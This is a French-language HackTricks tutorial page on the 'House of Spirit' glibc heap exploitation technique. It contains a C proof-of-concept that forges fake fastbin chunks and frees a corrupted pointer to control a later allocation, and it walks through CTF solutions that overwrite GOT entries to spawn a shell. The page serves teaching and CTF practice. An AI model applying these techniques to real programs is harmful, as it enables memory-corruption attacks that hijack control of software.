7.1 KiB
Maison de l'Esprit
{% hint style="success" %}
Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)
Soutenez HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.
Informations de base
Code
Maison de l'Esprit
```c #include #include #include #include// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };
int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;
ptr = malloc(0x30);
printf("Original alloc address: %p\n", ptr); printf("Main fake chunk:%p\n", &fake_chunks[0]); printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
// Passes size check of "free(): invalid size" fake_chunks[0].size = sizeof(struct fast_chunk);
// Passes "free(): invalid next size (fast)" fake_chunks[1].size = sizeof(struct fast_chunk);
// Attacker overwrites a pointer that is about to be 'freed' // Point to .fd as it's the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;
free(ptr);
victim = malloc(0x30); printf("Victim: %p\n", victim);
return 0; }
</details>
### Objectif
* Être capable d'ajouter une adresse dans le tcache / fast bin afin de pouvoir l'allouer ultérieurement
### Exigences
* Cette attaque nécessite qu'un attaquant soit capable de créer quelques faux chunks rapides indiquant correctement leur taille, puis de pouvoir libérer le premier faux chunk pour qu'il soit placé dans le bin.
### Attaque
* Créer des faux chunks qui contournent les vérifications de sécurité : vous aurez besoin de 2 faux chunks indiquant essentiellement dans les bonnes positions les tailles correctes
* Trouver un moyen de libérer le premier faux chunk pour qu'il soit placé dans le fast ou le tcache bin, puis l'allouer pour écraser cette adresse
**Le code de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house\_of\_spirit/house\_spirit\_exp/index.html) **est excellent pour comprendre l'attaque.** Bien que ce schéma du code la résume assez bien :
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64
+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content | 0x00 |
+-------+---------------------+------+
for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/
{% hint style="info" %} Notez qu'il est nécessaire de créer le deuxième chunk pour contourner certaines vérifications de cohérence. {% endhint %}
Exemples
-
CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html
-
Fuite d'informations sur la libc : Via un débordement, il est possible de modifier un pointeur pour pointer vers une adresse GOT afin de divulguer une adresse libc via l'action de lecture du CTF.
-
House of Spirit : En abusant d'un compteur qui compte le nombre de "fusils", il est possible de générer une fausse taille du premier faux chunk, puis en abusant d'un "message", il est possible de falsifier la deuxième taille d'un chunk et enfin en abusant d'un débordement, il est possible de modifier un pointeur qui va être libéré pour que notre premier faux chunk soit libéré. Ensuite, nous pouvons l'allouer et à l'intérieur se trouvera l'adresse où est stocké le "message". Ensuite, il est possible de faire pointer cela vers l'entrée
scanf
dans la table GOT, afin que nous puissions le remplacer par l'adresse de system.
La prochaine fois quescanf
est appelé, nous pouvons envoyer l'entrée"/bin/sh"
et obtenir un shell. -
Fuite de Glibc : Tampon de pile non initialisé.
-
House of Spirit : Nous pouvons modifier le premier index d'un tableau global de pointeurs de tas. Avec une modification d'un seul octet, nous utilisons
free
sur un faux chunk à l'intérieur d'un chunk valide, de sorte que nous obtenons une situation de chevauchement de chunks après une nouvelle allocation. Avec cela, une attaque simple de pollution de Tcache fonctionne pour obtenir un primitive d'écriture arbitraire.
Références
{% hint style="success" %}
Apprenez et pratiquez le piratage AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le piratage GCP : Formation HackTricks GCP Red Team Expert (GRTE)
Soutenez HackTricks
- Consultez les plans d'abonnement!
- Rejoignez 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud dépôts GitHub.